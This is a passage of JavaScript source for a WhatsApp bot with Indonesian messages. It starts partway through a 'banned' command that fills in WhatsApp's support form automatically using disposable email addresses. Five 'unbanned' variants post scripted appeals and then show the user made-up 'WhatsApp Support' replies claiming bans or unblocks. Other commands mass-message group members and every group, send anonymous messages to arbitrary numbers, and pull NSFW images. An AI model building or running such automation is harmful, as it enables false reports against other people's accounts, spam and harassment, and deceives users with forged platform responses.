form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
reply(`Wait 1-24 Jam an untuk proses banned dari bot dan tunggu ±30 Detik an untuk
melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Sepertinya Anda menggunakan atau mengajukan pertanyaan mengenai versi WhatsApp yang
tidak resmi.

Untuk memastikan Anda memiliki akses ke WhatsApp, verifikasi ulang nomor telepon
Anda menggunakan aplikasi resmi kami yang dapat diunduh dari situs web kami:
www.whatsapp.com/download

Aplikasi tidak resmi membahayakan keamanan dan keselamatan Anda, dan kami tidak
mendukungnya.

Berikut yang mungkin terjadi jika Anda menggunakannya:

Tidak ada jaminan bahwa pesan atau data Anda seperti lokasi Anda atau file yang
Anda bagikan akan bersifat privat dan aman.

Akun mungkin akan diblokir karena penggunaan aplikasi WhatsApp yang tidak resmi
bertentangan dengan Ketentuan Layanan kami.

Berikut adalah ketentuan layanan WhatsApp:

Ketentuan Layanan WhatsApp

1. Penggunaan Aplikasi

Anda setuju untuk menggunakan aplikasi WhatsApp ("Aplikasi") hanya untuk tujuan
yang sah dan sesuai dengan hukum yang berlaku. Anda tidak diizinkan untuk
menggunakan Aplikasi untuk tujuan ilegal atau melanggar hak-hak pihak ketiga. Anda
juga setuju untuk tidak menggunakan Aplikasi untuk mengirimkan, menerima, atau
menyimpan informasi yang melanggar hukum atau melanggar hak-hak pihak ketiga.

2. Hak Cipta dan Merek Dagang

Anda setuju bahwa semua hak cipta, merek dagang, dan hak milik lainnya yang terkait
dengan Aplikasi adalah milik WhatsApp, Inc. dan/atau afiliasinya. Anda tidak
diizinkan untuk menggunakan atau memodifikasi hak cipta, merek dagang, atau hak
milik lainnya tanpa izin tertulis dari WhatsApp, Inc. atau afiliasinya.

3. Privasi dan Keamanan Data


WhatsApp berjanji untuk melindungi privasi dan keamanan data Anda. Kami akan
memproses data Anda sesuai dengan Kebijakan Privasi kami yang dapat diakses di
https://www.whatsapp.com/legal/#privacy-policy. Dengan menggunakan Aplikasi, Anda
setuju dengan Kebijakan Privasi kami dan memberikan persetujuan Anda untuk
memproses data Anda sesuai dengan Kebijakan Privasi kami.

4. Pembatasan Tanggung Jawab


WhatsApp tidak bertanggung jawab atas kerugian apapun yang disebabkan oleh
penggunaan Aplikasi oleh Anda atau pihak ketiga lainnya, termasuk namun tidak
terbatas pada kerugian yang disebabkan oleh kegagalan teknis atau kerusakan
peralatan, kehilangan data, kerusakan properti, atau kerugian finansial lainnya.

5. Perubahan Ketentuan Layanan


WhatsApp berhak untuk mengubah Ketentuan Layanan ini sewaktu-waktu tanpa
pemberitahuan sebelumnya. Dengan melanjutkan penggunaan Aplikasi setelah perubahan
Ketentuan Layanan ini berlaku, Anda setuju untuk terikat oleh versi terbaru dari
Ketentuan Layanan ini.`)
} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbanned': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Aku Tidak Tau Mengapa Nomor Saya Tiba Tiba Di Larang
Dari Menggunakan WhatsApp Aku Hanya Membalas Pesan Customer Saya Mohon Buka
Larangan Akun WhatsApp Saya: [+${targetnya}]
Terimakasih`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Halo,

Terima kasih telah menghubungi kami.

Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.

Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.

Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk

mengunduh WhatsApp atau aplikasi WhatsApp Business.`)


} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv2': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Pihak WhatsApp yang terhormat mohon bantuan anda
segera
[${targetnya}]
Saya telah mengirim beberapa email dan laporan ke pihak WhatsApp untuk mengajukan
banding agar nomor saya cepat di buka dari daftar blokir, saya sangat membutuhkan
untuk keperluan pribadi berkomunikasi dengan keluarga jika saya melakukan
pelanggaran sebelumnya maka saya akan menggunakan nomor saya tersebut dengan lebih
hati-hati dan lebih baik lagi dari sebelumnya dan saya sekarang telah menuruti apa
yang pihak WhatsApp sarankan, dan saya sangat berharap sekarang juga nomor saya
dapat di gunakan kembali. Terimakasih`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}
})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Halo,

Terima kasih telah menghubungi kami.

Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.

Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.

Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk

mengunduh WhatsApp atau aplikasi WhatsApp Business.`)


} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv3': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Hola WhatsApp
Actualmente, algunas personas tienen muchas formas efectivas de bloquear números de
usuario e informarlos sin ningún motivo, de hecho, conozco bien los términos de
servicio y los cumplí, pero algunos piratas informáticos me hicieron un informe
falso y mi número fue bloqueado, desbloquee el número ${targetnya}`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Halo,

Terima kasih telah menghubungi kami.

Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.

Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.

Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk

mengunduh WhatsApp atau aplikasi WhatsApp Business.`)


} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv4': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Good day whatsApp team. My whatApp account has been
burned permanently, please i plead with you unblock it, i cannot use another number
again. I don’t know why it is burned but my friends re suggesting its because i use
GB whatsApp, which i didn’t know it was wrong. My number is [ ${targetnya} ].
Please whatsApp team, help me unblock my account. please i cannot use a new number
as my current number is connected to slot of important things like vacancies.
Thank you`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}
})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Halo,

Terima kasih telah menghubungi kami.

Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.

Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.

Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk

mengunduh WhatsApp atau aplikasi WhatsApp Business.`)


} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv5': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Aloha WhatsApp, ua ʻaihue ʻia kaʻu helu e ka mea
hacker, e ʻoluʻolu e wehe hou iā ia [${targetnya}]`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Halo,

Terima kasih telah menghubungi kami.

Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.

Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.

Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk

mengunduh WhatsApp atau aplikasi WhatsApp Business.`)


} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'setbiobot':
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply(`Kirim perintah ${prefix+command} nama\n\nContoh : ${command}
Paijo`)
await dark.updateProfileStatus(q)
await reply(`Berhasil mengganti status bio ke *${q}*`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'setnamebot':
try {
if (!itsMedark) return reply(mess.owner)
await dark.updateProfileName(q)
reply(`Berhasil mengubah nama bot ke ${q}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'revoke':
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
await dark.groupRevokeInvite(m.chat)
m.reply(`Sukses Menyetel Ulang, Tautan Undangan Grup ${groupMetadata.subject}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'delsampah':{
try {
if (!itsMedark) return reply(mess.owner)
let directoryPath = path.join();
fs.readdir(directoryPath, async function (err, files) {
if (err) {
console.log('Unable to scan directory: ' + err);
return reply('Unable to scan directory: ' + err);
}
let filteredArray = await files.filter(item => item.endsWith("gif") ||
item.endsWith("undefined.jpg") || item.endsWith("png") || item.endsWith("package-
lock.json") || item.endsWith("yarn.lock") || item.endsWith("mp3") ||
item.endsWith("mp4") || item.endsWith("md") ||item.endsWith("webp") ||
item.endsWith("webm") )
console.log(filteredArray.length);
let teks =`Terdeteksi ${filteredArray.length} file sampah\n\n`
if(filteredArray.length == 0) return reply(teks)
filteredArray.map(function(e, i){
teks += (i+1)+`. ${e}\n`
})
reply(teks)
await sleep(2000)
reply("Menghapus file sampah...")
await filteredArray.forEach(function (file) {
fs.unlinkSync(file)
});
await sleep(2000)
reply("Berhasil menghapus semua sampah")
});
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'simi': {
try {
let res = await fetch(`https://saipulanuar.ga/api/f/simi?text=${text}`)
let json = await res.json()
if (json.result) m.reply(json.result)
else throw json
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'delchat': {
try {
if (!itsMedark) return reply(mess.owner)
await dark.chatModify({
delete: true,
lastMessages: [{ key: m.key, messageTimestamp: m.messageTimestamp }]
},
from)
reply("Sukses")
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'milf': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let anu = await
fetchJson('https://raw.githubusercontent.com/P0135/Database/main/nsfw/milf.json')
let random = anu[Math.floor(Math.random() * anu.length)]
dark.sendMessage(m.chat, { image: {url: random.url }, caption: `Nih` }, { quoted: m
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ghstalk':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Contoh ${prefix+command} darkbotzmd`)
aj = await githubstalk.githubstalk(`${q}`)
dark.sendMessage(m.chat, { image: { url : aj.profile_pic }, caption:
`*Stalking Github*

Username : ${aj.username}
Nickname : ${aj.nickname}
Bio : ${aj.bio}
Id : ${aj.id}
Nodeid : ${aj.nodeId}
Url Profile : ${aj.profile_pic}
Url Github : ${aj.url}
Type : ${aj.type}
Admin : ${aj.admin}
Company : ${aj.company}
Blog : ${aj.blog}
Location : ${aj.location}
Email : ${aj.email}
Public Repo : ${aj.public_repo}
Public Gists : ${aj.public_gists}
Followers : ${aj.followers}
Following : ${aj.following}
Created At : ${aj.ceated_at}
Updated At : ${aj.updated_at}` }, { quoted: m } )
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'simi2':
try {
if (!m.isGroup) return reply(mess.group)
if (!isRegister) return reply(mess.register)
const cimcimi = await fetchJson(`https://api.simsimi.net/v2/?text=${q}&lc=id`)
dark.sendMessage(m.chat, { text: cimcimi.success})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'getcase':
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply("*Mau nyari Case apa kak*")
if(q.startsWith(prefix)) return reply("Query tidak boleh menggunakan prefix")
let nana = await getCase(q)
reply(nana)
} catch (err) {
console.log(err)
reply(`Case ${q} tidak di temukan`)
}
break
case 'pushkontak': {
try {
if (!itsMedark) return reply(mess.owner)
if (!m.isGroup) return reply(mess.group)
if (!q) return reply('Teksnya?')
let mem = await participants.filter(v => v.id.endsWith('.net')).map(v => v.id)
m.reply(`Succes Get Member`)
for (let pler of mem) {
dark.sendMessage(pler, { text: `${q}`})
}
m.reply(`Succes Push Kontak`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'img': case 'ai-img': case 'image': case 'images':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
if (global.keyopenai === 'ISI_APIKEY_OPENAI_DISINI') return reply('Apikey belum
diisi\n\nSilahkan isi terlebih dahulu apikeynya di file key.json\n\nApikeynya bisa
dibuat di website: https://beta.openai.com/account/api-keys');
if (!q) return reply(`Membuat gambar dari AI.\n\nContoh:\n${prefix}${command}
Wooden house on snow mountain`);
const configuration = new Configuration({
apiKey: global.keyopenai,
});
const openai = new OpenAIApi(configuration);
const response = await openai.createImage({
prompt: q,
n: 1,
size: '512x512',
});
//console.log(response.data.data[0].url)
dark.sendImage(from, response.data.data[0].url, q, m);
} catch (error) {
if (error.response) {
console.log(error.response.status);
console.log(error.response.data);
console.log(`${error.response.status}\n\n${error.response.data}`);
} else {
console.log(error);
reply('Maaf, sepertinya ada yang error :'+ error.message);
}
}
break
case 'qc': {
try {
if (!q) return reply(`Contoh:\n${prefix + command} Hi `)
const axios = require('axios')
try {
pic = await dark.profilePictureUrl(m.quoted ? m.quoted.sender : m.sender, 'image')
} catch {
pic = 'https://srv.neoxr.tk/files/z8hI5T.jpg'
}
const obj = {
"type": "quote",
"format": "png",
"backgroundColor": "#FFFFFF",
"width": 512,
"height": 768,
"scale": 2,
"messages": [{
"entities": [],
"avatar": true,
"from": {
"id": 1,
"name": m.quoted ? global.db.users.find(v => v.jid ==
m.quoted.sender).name : m.pushName,
"photo": {
"url": pic
}
},
"text": text,
"replyMessage": {}
}]
}
const json = await axios.post('https://bot.lyo.su/quote/generate', obj, {
headers: {
'Content-Type': 'application/json'
}
})
const buffer = Buffer.from(json.data.result.image, 'base64')
dark.sendImageAsSticker(m.chat, buffer, m, {
packname: global.packname,
author: global.author
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'bcgc':{
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply('Teksnya?')
let getGroups = await dark.groupFetchAllParticipating()
let groupss = Object.entries(getGroups).slice(0).map(entry => entry[1])
let anus = groupss.map(v => v.id)
reply(`Mengirim Broadcast Ke ${anus.length} Chat, Waktu Selesai ${anus.length * 0.5
} detik`)
let yesnih = [
{"buttonId": `${prefix}menu`,"buttonText": {"displayText": `ᴍᴇɴᴜ`},"type":
"RESPONSE", viewOnce: true},
{"buttonId": `SEWA BOTZ`,"buttonText": {"displayText": `sᴇᴡᴀ ʙᴏᴛᴢ`},"type":
"RESPONSE", viewOnce: true}]

let muk = [{urlButton: {displayText: `Sewa`,url:


`https://wa.me/p/8960486383991478/6285811965686`, viewOnce: true}}]
let teks = `*BROADCAST GROUP*\n\n${q}`

if (isImage || isQuotedImage) { //Image


let buff = await dark.downloadAndSaveMediaMessage(quoted,makeid(5))
//let buffer = fs.readFileSync(file)
for (let i of anus) {
await sleep(1000)
await dark.sendMessage(i, {caption: teks, image: fs.readFileSync(buff)}, { quoted:
ftroli})
}
fs.unlinkSync(buff)
} else if (isVideo || isQuotedVideo) { //Video
let buff = await dark.downloadAndSaveMediaMessage(quoted,makeid(5))
for (let i of anus) {
await sleep(1000)
await dark.sendMessage(i, {caption: teks, video: buff}, { quoted: ftroli})
}
fs.unlinkSync(buff)
} else if (isAudio || isQuotedAudio) { //Audio
let buff = await dark.downloadAndSaveMediaMessage(quoted,makeid(5))
for (let i of anus) {
await sleep(1000)
await dark.sendMessage(i, {caption: teks, audio: fs.readFileSync(buff)}, { quoted:
m})
}
fs.unlinkSync(buff)
} else {
for (let i of anus) {
let toks = `${q}

友 Runtime : ${runtime(process.uptime())}
友 Date : ${calender}
友 Time: ${time2}`

await sleep(1000)
await dark.sendMessage(i, { text : toks } )
}
}
reply(`Sukses Mengirim Broadcast Ke ${anus.length} Group`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'confess':
case 'confes': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply(mess.private)
if (!text) return m.reply(`*Cara Penggunaan*\n\nKirim perintah ${prefix}${command}
nomer|pesan\n\nContoh ${prefix}${command} 62831xxxxxxxI have a crush on you\n\
nTenang aja privasi aman kok><`)
let nomor = q.split('|')[0] ? q.split('|')[0] : q
let pesan = q.split('|')[1] ? q.split('|')[1] : ''
if (pesan.length < 1) return m.reply(`Harus di isi semua! ex : confess
62831xxxxxxxx|hallo kamu`)
let teksnya = `Hai Kak Ada Confess Nih\n\nDari : *Seseorang* \nPesan : *$
{pesan}*\n\n*Pesan Ini Bersifat Private/Samaran Dari Pengirim, Bot Hanya
Menyampaikannya Saja, Jika Tidak Terlalu Penting Abaikan Pesan Ini, Ariigaatoo >_<*
`
header = 'hayyy'
gambar = `https://telegra.ph/file/9c40b4a560d337e1a8560.jpg`

dark.sendMessage(`${nomor}@s.whatsapp.net`, { caption: teksnya, image: {url:


`https://telegra.ph/file/9c40b4a560d337e1a8560.jpg`}, footer: `This Is Simple
WhatsApp Bot` })
m.reply(`Sukses Mengirim Confess!!`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'daftar': {
try {
if (m.isGroup) return reply(mess.private)
reply(mess.wait)
if (isRegister) return reply('Nomer Anda Sudah Terdaftar Di Database Bot')
const serialUser = createSerial(18)
try {
ppimg = await dark.profilePictureUrl(`${sender.split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-
Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
}
register.push(sender)
fs.writeFileSync('./database/register.json', JSON.stringify(register))
/////////
darkbotzmd = fs.readFileSync('./p.jpg')
dark.sendMessage(m.chat, {image: { url: 'https://encrypted-tbn0.gstatic.com/images?
q=tbn:ANd9GcSlaKCZE6A9OdzmLHnsxL28_XT8qjBsL1tSlg&usqp=CAU' }, caption: ` *「 𝙑𝙀
𝙍𝙄𝙁𝙄𝘾𝘼𝙏𝙄𝙊𝙉 𝙎𝙐𝙆𝙎𝙀𝙎 」*

Terimakasih telah mendaftarkan diri ke database *DarkBotzMD* berikut adalah


infonya\n\n*● Nama : ${pushname}*\n*● Nomor : ${sender.split('@')[0]}*\n*● Pengguna
: ${register.length}*\n*● SN : ${serialUser}*\n\n*NOTE: Gunakan bot sewajarnya*`})
} catch (err) {
console.log(err)
